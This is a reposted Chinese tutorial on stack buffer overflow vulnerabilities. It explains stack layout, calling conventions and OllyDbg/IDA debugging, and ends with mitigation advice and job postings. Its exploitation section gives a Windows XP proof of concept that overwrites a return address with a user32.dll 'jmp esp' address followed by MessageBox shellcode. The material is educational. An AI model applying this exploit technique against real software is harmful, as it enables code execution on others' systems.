缓冲区溢出漏洞入门

admin 2025年1月13日20:18:44评论11 views字数 6643阅读22分8秒阅读模式

No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.2

漏洞原理

程序的进程地址空间如图所示:

缓冲区溢出漏洞入门

缓冲区可以理解为一段可读写的内存区域。代码段(.text)存放的是程序的可执行代码和只读数据,一般标记为只读,任何对该区的写操作都会导致段错误(Segmentation Fault)。

数据段(.data、.rdata、.bss)存储的是用户的全局变量。.data存放全局的和静态的已经初始化的变量,.rdata存放全局可访问的只读数据,.bss保存全局的和静态的未初始化的变量。数据段在编译的时候分配。

堆(heap)位于BSS段的上面,存储程序运行时分配的变量,大小不固定,动态扩张/缩减。向着内存地址增加的方向增长。

栈(Stack)存放函数调用时的临时信息结构,比如函数调用传递的参数、函数返回地址、函数的局部变量等,在程序运行时由编译器按需分配,不需要的时候自动清除,栈是一种先进后出(FILO)的结构,向着内存地址减小的方向增长。所以栈顶在压栈(PUSH)操作的时候由大变小,在出栈(POP)的时候由小变大。

除了代码段和受操作系统保护的数据区域,其他的内存区域都能作为缓冲区,因此缓冲区溢出的位置可能在数据段、也可能在堆栈段。

栈溢出原理:

假设有三个函数main、func_A、func_B,函数调用之间关系图:

缓冲区溢出漏洞入门

相关寄存器:

ESP(extended stack pointer栈指针寄存器)存放系统栈最上面栈帧的栈顶。

EBP(extended base pointer基址指针寄存器)存放系统栈最上面栈帧的栈底。

EIP(extended instruction pointer指令寄存器)该指针永远指向下一条等待执行的指令地址。

函数调用约定:

__cdecl(C调用约定):参数传递从右向左入栈,堆栈清理者是调用方。(vc默认使用的__cdecl方式)

__stdcall(微软标准调用约定):参数传递从右向左入栈,堆栈清理由被调用方完成。这种方式只适合参数个数固定的函数,微软对所有dll文件输出的参数数量固定的函数使用该调用方式。

__fastcall(x86 fastcall预定):参数传递时前两个参数传入ECX和EDX寄存器,其他的从右到左入栈,由被调用方清理堆栈,不定参数的函数无法使用这种方式。

__thiscall,参数从右向左入栈,由被调用方清理堆栈,仅用于C++成员函数,this指针存放于ECX寄存器。

缓冲区溢出漏洞入门

当func_A调用func_B的时候,首先将返回地址压入栈帧,然后为func_B创建新栈帧。

当func_B返回时,func_B的栈帧被弹出系统栈,func_A栈帧中的返回地址露在栈顶,这时处理器按照这个返回地址重新跳转到func_A代码区执行。

缓冲区溢出漏洞入门
缓冲区溢出漏洞入门

例如:

缓冲区溢出漏洞入门

栈溢出漏洞产生的主要原因是栈空间保存了函数的返回地址,该地址保存了函数调用结束后后续执行指令的位置,如果修改了这个返回地址,并且使这个返回地址指向一个新的代码位置,那么程序就能从其他位置继续执行,这样就产生了栈溢出漏洞攻击。

比如下面这个例子:

void fun(unsigned char *data)
{
    unsigned char buffer[BUF_LEN];
    strcpy((char*)buffer,(char*)data);//溢出点
}

这个函数是一个典型的栈溢出代码,在使用不安全的strcpy库函数的时候,系统会盲目的将data的全部数据拷贝到buffer指详细设计的区域。因为buffer的长度是有限的,当data的数据长度超过了BUF_LEN的时候,便会产生缓冲区溢出。

缓冲区溢出漏洞入门

由于栈的增长方向是从高地址向低地址方向增长,所以局部数组buffer的指针在缓冲区的下方,当data的数据拷贝到buffer里面时,超过缓冲区的高地址部分数据会将原来的栈帧数据覆盖掉。而栈溢出攻击的目的是将返回地址覆盖掉,替换为精心构造的一个返回地址,这样就能对软件进行恶意利用。

缓冲区溢出漏洞入门

No.3

漏洞利用

在windows xp系统下,用vc++6.0编写OverrunTest_1.c与OverrunTest_2.c分别进行测试:

缓冲区溢出漏洞入门
缓冲区溢出漏洞入门

当分别运行OverrunTest_1.exe和OverrunTest_2.exe之后,第一个程序按回车之后正常结束,第二个按回车之后出现错误。

利用Ollydbg和IDA Pro对两个程序进行分析:

缓冲区溢出漏洞入门

可以看到main函数的入口地址为00401010,在Ollydbg中跳到该地址,并加断点:

缓冲区溢出漏洞入门

因为要分析main函数调用前后栈空间的变化,所以应该定位追踪到调用main函数的位置,在IDA中用ctrl+x交叉引用查找,找出call main函数的地址:

缓冲区溢出漏洞入门

在Ollydbg中跳转到00401694这个地址并加断点:

缓冲区溢出漏洞入门

然后按F9执行到断点位置。在这里非常重要的是call指令下面的地址401699,这个是main函数的返回地址。Call指令分两步,第一步首先将call指令下面的地址入栈,然后jump到call的地址。查看栈结构:

缓冲区溢出漏洞入门

红框中的是main函数的三个参数。按F7进入这个call中:

缓冲区溢出漏洞入门

可以看到返回地址401699已经入栈了。然后按F8单步执行main函数:

缓冲区溢出漏洞入门

当执行完sub esp,4c的时候查看栈空间:

缓冲区溢出漏洞入门

红框中两行非常重要,12FF84中存储的是main函数的返回地址,而12FF80中存储的是父函数的EBP。继续按F8单步执行到strcpy函数调用处:

缓冲区溢出漏洞入门

由前面的基础可知当调用strcpy的时候先将test参数入栈,然后入栈buffer参数,调用strcpy函数之后将12FF78处的0xCC(烫烫烫烫烫烫烫,即int 3断点)修改为abcdefg。按F8执行之后查看栈空间:

缓冲区溢出漏洞入门

可以看到紧紧挨着EBP和返回地址的空间已经被修改为abcdefg了。那么当test数组的长度过长,超过buffer的数组长度的时候会发生什么?

开始对OverrunTest_2.exe进行分析:

执行到调用strcpy函数之前:

缓冲区溢出漏洞入门

可以看到除过test参数的值不同之外其余的都与OverrunTest_1.exe的状态相同。

执行strcpy函数:

可以看到原先存放EBP和返回地址的栈空间已经被test数组部分数据覆盖

缓冲区溢出漏洞入门

这样当执行完ret的时候因为返回地址是错误的地址,所以会出错。

而当这个地址是精心构造的一段地址空间的时候,当函数返回的时候会返回到这个恶意地址,这样就存在很大风险。

缓冲区漏洞的利用主要解决三个问题:

  • 精确定位返回地址的位置

  • 寻找一个合适的地址用于覆盖原始地址

  • 编写shellcode到相应的缓冲区中

当输入“abcdefghijklmn”的时候,“mn”会将原先的返回地址覆盖掉,那么这里就可以利用这个特性,将“abcdefghijklmn”改为“abcdefghijklXXXX”,这样“XXXX”则为新的返回地址。而根据栈空间的特性,当弹出返回地址的时候,ESP指针会自增4,指向main函数的三个参数,那么可以利用这一特性,将返回地址覆盖为“jmp esp”指令的地址,然后将main函数的参数覆盖为shellcode,这样当执行完main函数ret的时候就会跳转到jmp esp指令处然后执行esp中的代码(shellcode)。当test数组为“abcdefghijklXXXX..shellcode”的时候,XXXX为返回地址,紧挨着的是shellcode,然后就可以利用shellcode利用漏洞。

而jmp esp的机器码为“FFE4”,windows的动态链接库中包含了许多这样的指令,比如user32.dll中,而且windows在加载dll的时候地址一般都是固定的,这样的话更加方便利用。

缓冲区溢出漏洞入门

上面的就是许多在user32.dll中的jmp esp指令的地址。为了演示,所以利用windows的MessageBox函数弹出一个对话框,为了使程序正常退出,再使用ExitProcess函数。而在汇编中调用函数是使用call指令call函数的地址,所以应该先获取到这两个函数在dll中的地址。

缓冲区溢出漏洞入门
缓冲区溢出漏洞入门

编写shellcode并且最终测试:

缓冲区溢出漏洞入门

代码如下:

#include<windows.h>

#include<stdio.h>

#include<string.h>

char test[]="x41x41x41x41x41x41x41x41"        //test[0]-test[7]

                          "x41x41x41x41"                                  //ebp

                          "x79x5bxe3x77"                                  //返回地址覆盖为jmp esp

                          "x83xecx50"                                          //下面的都是shellcode

                          "x33xdb"

                          "x68x69x6ex67x20"

                          "x68x77x61x87x6e"

                          "x8bxc4"

                          "x53"

                          "x68x77x20x20x20"

                          "x68x78x66x6cx6f"

                          "x68x6bx4fx76x65"

                          "x68x53x74x61x63"

                          "x8bxcc"

                          "x53"

                          "x51"

                          "x50"

                          "x53"

                          "xb8xeax07xd5x77"

                          "xffxd0"

                          "x53"

                          "xb8xfaxcax81x7c"

                          "xffxd0";

int main()

{

         LoadLibrary("user32");

         char buffer[8];

         strcpy(buffer,test);

         printf("%sn",buffer);

         getchar();

         return 0;

}

这样就完成了缓冲区溢出攻击,还可以利用缓冲区漏洞执行cmd命令,添加用户等等,危害很大。

No.4

修补建议

缓冲区溢出的真正原因在于编程语言缺乏类型安全,程序缺少边界检查。

比如C语言对数组和指针引用不进行边界检查,一些函数如strcpy、sprintf等存在严重安全问题,还有就是开发人员经验不足或者粗心没有进行边界检查。

所以应该尽可能避免使用一些存在安全问题的函数比如scanf、vscanf等,将strcpy改为strncpy、gets改为fgets等等。

最需要注意的还是数组边界检查和保证返回指针的完整性。

检查数组的实际长度是否超过了分配长度,如果超过的话,立即进行相应的处理,比如舍弃超出长度的部分。

在指针被引用前检测是否被改变。主要通过堆栈检测的方法,检查函数活动记录中的返回地址,在函数中加入函数建立和销毁的代码:函数建立代码在堆栈中的函数返回地址前面加了一些附加的字节,而在函数返回时,首先检查这个附加的字节是否被改动。

针对缓冲区溢出攻击防御:阻止攻击代码运行。将缓冲区地址空间设为不可执行,这样攻击代码就不能执行从而对计算机造成破坏。因为几乎没有任何程序会在堆栈数据段中存放代码,这样的话就可以最大限度的保证程序的安全。

安全服务部江苏大区致力于江苏省各政府事业单位,教育,金融,能源,公安,企业等各行业网络安全技术支撑服务。团队汇聚各类型网络安全人才,在安全咨询,安全运营,威胁分析,渗透测试,安全培训,风险评估代码审计,国家重大活动网络安全保障等方面积累了丰富的经验。江苏大区服务团队团队小伙伴们团结协助。技术氛围浓厚。一直本着“安于责任,恒守江苏”服务理念为客户网络和业务的安全运营提供全方位的保障支持。

No.5

招聘启事

安全服务工程师(提供2021届毕业生实习机会)

————————————
工作地点:南京
1.对网络安全攻防感兴趣,熟练掌握渗透测试技巧、熟练运用各类安全软件、安全测试工具;
2.熟悉渗透测试步骤、方法、流程,熟练使用渗透测试工具;
3.熟悉常见web安全漏洞的原理、测试方法、加固方法;
4.具有较好的工作习惯及较强的文档、报告、方案编写能力;
5.具备优秀的沟通协调能力、学习能力、抗压能力;
6.开发过相关安全工具、平台、项目,或可独立支撑应急响应者优先;
7.在t00ls、freebuf、Seebug等平台发布过技术文章者优先;
8.有web开发经验或熟悉PHP/C#/Java/Python任意一种语言者优先;
9.有CTF、攻防比赛获得奖项者优先;
10.有代码审计能力或售前经验者优先。

简历投递至:[email protected]

驻场服务工程师(驻场地点:扬州,南京)

————————————
1、网络安全 熟悉交换机、路由器、防火墙、入侵检测、WAF等安全设备等原理与简单调试;
2、熟练掌握Linux系统的基本命令,熟练掌握windows 等服务器的搭建;
3、网络基础知识,TCP/IP 7层模型,熟悉常见的网络协议如TCP、IP、ARP等;
4、熟悉掌握渗透测试的流程 OWASP TOP 10漏洞, 熟悉漏洞扫描工具的使用;
5、拥有网络CCNP、CCIE、CISP-PTE相关认证者优先;
6、具有一定的文档输出能力和交流能力;
7、有漏洞挖掘,应急响应经验优先;
8、具备项目管理技能,有PMP、项目管理师证书优先。

简历投递至:[email protected]

安全咨询(售前)工程师
————————————
工作地点:南京
1.具有较强的沟通能力、学习能力、灵活的处事能力、文档编写能力,擅长PPT编写和演示;
2.熟悉安全服务业务(漏洞扫描、渗透测试、风险评估、安全评估、安全培训、代码审计、应急响应、网络安保等)服务内容及流程;
3.熟悉主流安全技术和流行安全产品(防火墙、防毒、入侵检测、漏洞扫描等)的应用部署方案;
4.熟悉网络攻击、黑客攻防等安全技术;了解国内外网络、安全界发展现状;了解各主流安全厂家厂家安全服务的技术优劣势。
5.较强的敬业精神与工作责任心。
6.至少熟悉金融、政府、运营商、能源等行业中的一种,熟悉该行业的业务特点、业务需求、相关标准规范、监管要求,对该行业的组织结构、应用系统有深刻理解。
7. 熟悉了解GB/T 31168-2014、GB/T 31167-2014、云计算服务安全能力评估方法、等保2.0 云计算技术的信息系统的扩展安全要求、ISO/IEC27001:2013、GB/T20984等标准。;
8. 具有敏锐的洞察力,较强的数据分析和文档撰写能力;
9.具备CISA/CISSP/ISO27001/PMP/CISP等证书者优先;
10.具有网络与信息安全体系建设、咨询、审计经验者优先。

简历投递至:[email protected]

缓冲区溢出漏洞入门

专注渗透测试技术

全球最新网络攻击技术

END

缓冲区溢出漏洞入门

原文始发于微信公众号(白帽子):缓冲区溢出漏洞入门

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月13日20:18:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   缓冲区溢出漏洞入门https://cn-sec.com/archives/1084969.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息